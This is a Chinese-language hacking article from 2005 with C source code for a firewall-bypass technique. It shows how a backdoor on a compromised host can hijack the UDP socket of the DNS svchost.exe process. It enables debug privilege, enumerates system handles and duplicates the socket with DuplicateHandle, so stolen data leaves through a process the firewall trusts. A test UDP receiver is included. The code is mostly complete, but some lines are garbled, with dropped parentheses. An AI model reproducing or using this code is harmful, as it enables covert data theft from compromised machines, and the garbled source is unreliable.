一种新的穿透防火墙的数据传输技术<br><br>Author : ZwelL<br>Email : zwell@sohu.com<br>Date : 2005.4.12<br><br>使用该技术背景:<br>在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).<br><br> 针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.<br>相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:<br>将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:<br><br>1. 找出目标进程<br>2. 找出SOCKET句柄<br>2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.<br>3. 用转换后的SOCKET进行数据传输<br><br> 上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也<br>可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.<br>针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.<br><br> 看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".<br><br> 我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被<br>拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...<br><br>下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.<br>编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.<br>具体解决方法请细看注释部分...<br><br>/*++<br><br> Made By ZwelL<br> zwell@sohu.com<br> 2005.4.12<br>--*/<br><br>#include <winsock2.h><br>#include <stdio.h><br>#include <wtsapi32.h><br><br>#pragma comment(lib, "ws2_32"
<br>#pragma comment(lib, "wtsapi32"
<br><br>#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)<br>#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)<br><br>typedef LONG NTSTATUS;<br><br>typedef struct _SYSTEM_HANDLE_INFORMATION<br>{<br> ULONG ProcessId;<br> UCHAR ObjectTypeNumber;<br> UCHAR Flags;<br> USHORT Handle;<br> PVOID Object;<br> ACCESS_MASK GrantedAccess;<br>} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;<br><br>typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);<br><br>ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;<br><br>BOOL LocateNtdllEntry ( void )<br>{<br> BOOL ret = FALSE;<br> char NTDLL_DLL[] = "ntdll.dll";<br> HMODULE ntdll_dll = NULL;<br><br><br> if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )<br> {<br> printf( "GetModuleHandle() failed"
;<br> return( FALSE );<br> }<br> if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )<br> {<br> goto LocateNtdllEntry_exit;<br> }<br> ret = TRUE;<br><br>LocateNtdllEntry_exit:<br><br> if ( FALSE == ret )<br> {<br> printf( "GetProcAddress() failed"
;<br> }<br> ntdll_dll = NULL;<br> return( ret );<br>}<br><br><br>/*++<br>This routine is used to get a process's username from it's SID<br>--*/<br>BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)<br>{<br> // sanity checks and default value<br> if (pUserSid == NULL)<br> return false;<br> strcpy(szUserName, "?"
;<br><br> SID_NAME_USE snu;<br> TCHAR szUser[_MAX_PATH];<br> DWORD chUser = _MAX_PATH;<br> PDWORD pcchUser = &chUser; <br> TCHAR szDomain[_MAX_PATH];<br> DWORD chDomain = _MAX_PATH;<br> PDWORD pcchDomain = &chDomain;<br><br> // Retrieve user name and domain name based on user's SID.<br> if (<br> ::LookupAccountSid(<br> NULL, <br> pUserSid, <br> szUser, <br> pcchUser, <br> szDomain, <br> pcchDomain, <br> &snu<br>  
<br>  
<br> {<br> wsprintf(szUserName, "%s", szUser);<br> }<br> else<br> {<br> return false;<br> }<br><br> return true;<br>} <br><br><br>/*++<br><br>This routine is used to get the DNS process's Id<br> <br>Here, I use WTSEnumerateProcesses to get process user Sid, <br>and then get the process user name. Beacause as it's a "NETWORK SERVICE", <br>we cann't use OpenProcessToken to catch the DNS process's token information,<br>even if we has the privilege in catching the SYSTEM's.<br><br>--*/<br>DWORD GetDNSProcessId()<br>{<br> PWTS_PROCESS_INFO pProcessInfo = NULL;<br> DWORD ProcessCount = 0;<br> char szUserName[255];<br> DWORD Id = -1;<br><br> if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))<br> {<br> // dump each process description<br> for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)<br> {<br><br> if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe"
== 0 )<br> {<br> GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);<br> if( strcmp(szUserName, "NETWORK SERVICE"
== 0)<br> {<br> Id = pProcessInfo[CurrentProcess].ProcessId;<br> break;<br> }<br> }<br> }<br><br> WTSFreeMemory(pProcessInfo);<br> }<br><br> return Id;<br>}<br><br><br>/*++<br>This doesn't work as we know, sign...<br>but you can use the routine for other useing...<br>--*/<br>/*<br>BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)<br>{<br> HANDLE hProcess = NULL, <br> hAccessToken = NULL;<br> TCHAR InfoBuffer[1000], szDomainName[200];<br> PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;<br> DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;<br> SID_NAME_USE snu;<br><br> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);<br> if(hProcess == NULL)<br> {<br> printf("OpenProcess wrong"
;<br> CloseHandle(hProcess);<br> return false;<br> }<br><br> if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))<br> {<br> printf("OpenProcessToken wrong:%08x", GetLastError());<br> return false;<br> }<br><br> GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,<br> 1000, &dwInfoBufferSize);<br><br> LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,<br> &dwAccountSize,szDomainName, &dwDomainSize, &snu);<br><br> if(hProcess)<br> CloseHandle(hProcess);<br> if(hAccessToken)<br> CloseHandle(hAccessToken);<br> return true;<br>}*/<br><br><br>/*++<br>Now, it is the most important stuff... ^_^<br>--*/<br>SOCKET GetSocketFromId (DWORD PID)<br>{<br> NTSTATUS status;<br> PVOID buf = NULL;<br> ULONG size = 1;<br> ULONG NumOfHandle = 0;<br> ULONG i;<br> PSYSTEM_HANDLE_INFORMATION h_info = NULL;<br> HANDLE sock = NULL;<br> DWORD n;<br><br> buf=malloc(0x1000);<br> if(buf == NULL)<br> {<br> printf("malloc wrong/n"
;<br> return NULL;<br> }<br> status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );<br> if(STATUS_INFO_LENGTH_MISMATCH == status)<br> {<br> free(buf);<br> buf=malloc
;<br> if(buf == NULL)<br> {<br> printf("malloc wrong/n"
;<br> return NULL;<br> }<br> status = ZwQuerySystemInformation( 0x10, buf, n, NULL);<br> }<br> else<br> {<br> printf("ZwQuerySystemInformation wrong/n"
;<br> return NULL;<br> }<br><br> NumOfHandle = *(ULONG*)buf;<br><br> h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);<br><br> for(i = 0; i<NumOfHandle ;i++)<br> {<br> try<br> {<br> if( ( h_info
.ProcessId == PID ) && ( h_info.ObjectTypeNumber == 0x1c ) <br> && (h_info.Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()<br> // So I jump over this situation... <br> // May be it's different in your system, <br>   //wind2000 is 0x1a<br> {<br> //printf("Handle:0x%x Type:%08x/n",h_info.Handle, h_info.ObjectTypeNumber);<br> if( 0 == DuplicateHandle(<br> OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID), <br> (HANDLE)h_info.Handle, <br> GetCurrentProcess(), <br> &sock, <br> STANDARD_RIGHTS_REQUIRED, <br> true, <br> DUPLICATE_SAME_ACCESS)<br>  <br> {<br> printf("DuplicateHandle wrong:%8x", GetLastError());<br> continue;<br> }<br><br> //printf("DuplicateHandle ok/n"<br> sockaddr_in name = {0};<br> name.sin_family = AF_INET;<br> int namelen = sizeof(sockaddr_in);<br> getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );<br> //printf("PORT=%5d/n", ntohs( name.sin_port )); <br> if(ntohs(name.sin_port)>0) // if port > 0, then we can use it<br> break;<br> }<br> }<br> catch(...)<br> {<br> continue;<br> }<br> }<br><br> if ( buf != NULL )<br> {<br> free( buf );<br> }<br> return (SOCKET)sock;<br>}<br><br><br>/*++<br>This is not required...<br>--*/<br>BOOL EnablePrivilege (PCSTR name)<br>{<br> HANDLE hToken;<br> BOOL rv;<br><br> TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };<br> LookupPrivilegeValue (<br> 0,<br> name,<br> &priv.Privileges[0].Luid<br> <br><br> priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br><br> OpenProcessToken(<br> GetCurrentProcess (),<br> TOKEN_ADJUST_PRIVILEGES,<br> &hToken<br> <br><br> AdjustTokenPrivileges (<br> hToken,<br> FALSE,<br> &priv,<br> sizeof priv,<br> 0,<br> 0<br> <br><br> rv = GetLastError () == ERROR_SUCCESS;<br><br> CloseHandle (hToken);<br> return rv;<br>}<br><br>void main() <br>{<br> WSADATA wsaData;<br> char testbuf[255];<br> SOCKET sock;<br> sockaddr_in RecvAddr;<br><br> int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);<br> if (iResult != NO_ERROR)<br> printf("Error at WSAStartup()/n"<br><br> if(!LocateNtdllEntry())<br> return;<br><br> if(!EnablePrivilege (SE_DEBUG_NAME))<br> {<br> printf("EnablePrivilege wrong/n"<br> return;<br> }<br><br> sock = GetSocketFromId(GetDNSProcessId());<br> if( sock==NULL)<br> {<br> printf("GetSocketFromId wrong/n"<br> return;<br> }<br><br> //Change there value...<br> RecvAddr.sin_family = AF_INET;<br> RecvAddr.sin_port = htons(5555); <br> RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"<br><br> if(SOCKET_ERROR == sendto(sock, <br> "test", <br> 5, <br> 0, <br> (SOCKADDR *) &RecvAddr, <br> sizeof(RecvAddr)))<br> {<br> printf("sendto wrong:%d/n", WSAGetLastError());<br> }<br> else<br> {<br> printf("send ok... Have fun, right? ^_^/n"<br> }<br> <br> getchar();<br><br> //WSACleanup();<br> return;<br>}<br><br><br><br>很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,<br>因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,<br>但是怎么也不行,所以换个方法.用到了wtsapi32库函数.<br><br>再用下面的代码测试:<br><br><br>/*++<br>UdpReceiver<br>--*/<br>#include <stdio.h><br>#include "winsock2.h"<br><br>#pragma comment(lib, "ws2_32"<br><br>void main() <br>{<br> WSADATA wsaData;<br> SOCKET RecvSocket;<br> sockaddr_in RecvAddr;<br> int Port = 5555;<br> char RecvBuf[1024];<br> int BufLen = 1024;<br> sockaddr_in SenderAddr;<br> int SenderAddrSize = sizeof(SenderAddr);<br><br> //-----------------------------------------------<br> // Initialize Winsock<br> WSAStartup(MAKEWORD(2,2), &wsaData);<br><br> //-----------------------------------------------<br> // Create a receiver socket to receive datagrams<br> RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);<br><br> //-----------------------------------------------<br> // Bind the socket to any address and the specified port.<br> RecvAddr.sin_family = AF_INET;<br> RecvAddr.sin_port = htons(Port);<br> RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);<br><br> bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));<br><br> //-----------------------------------------------<br> // Call the recvfrom function to receive datagrams<br> // on the bound socket.<br> printf("Receiving datagrams.../n"<br> while(1)<br> {<br> recvfrom(RecvSocket, <br> RecvBuf, <br> BufLen, <br> 0, <br> (SOCKADDR *)&SenderAddr, <br> &SenderAddrSize);<br> printf("%s/n", RecvBuf);<br> }<br><br> //-----------------------------------------------<br> // Close the socket when finished receiving datagrams<br> printf("Finished receiving. Closing socket./n"<br> closesocket(RecvSocket);<br><br> //-----------------------------------------------<br> // Clean up and exit.<br> printf("Exiting./n"<br> WSACleanup();<br> return;<br>}<br><br><br>测试步骤:<br>1. 在一台机器上执行UdpReceiver,<br>2. 在安装防火墙的机器上执行第一个程序.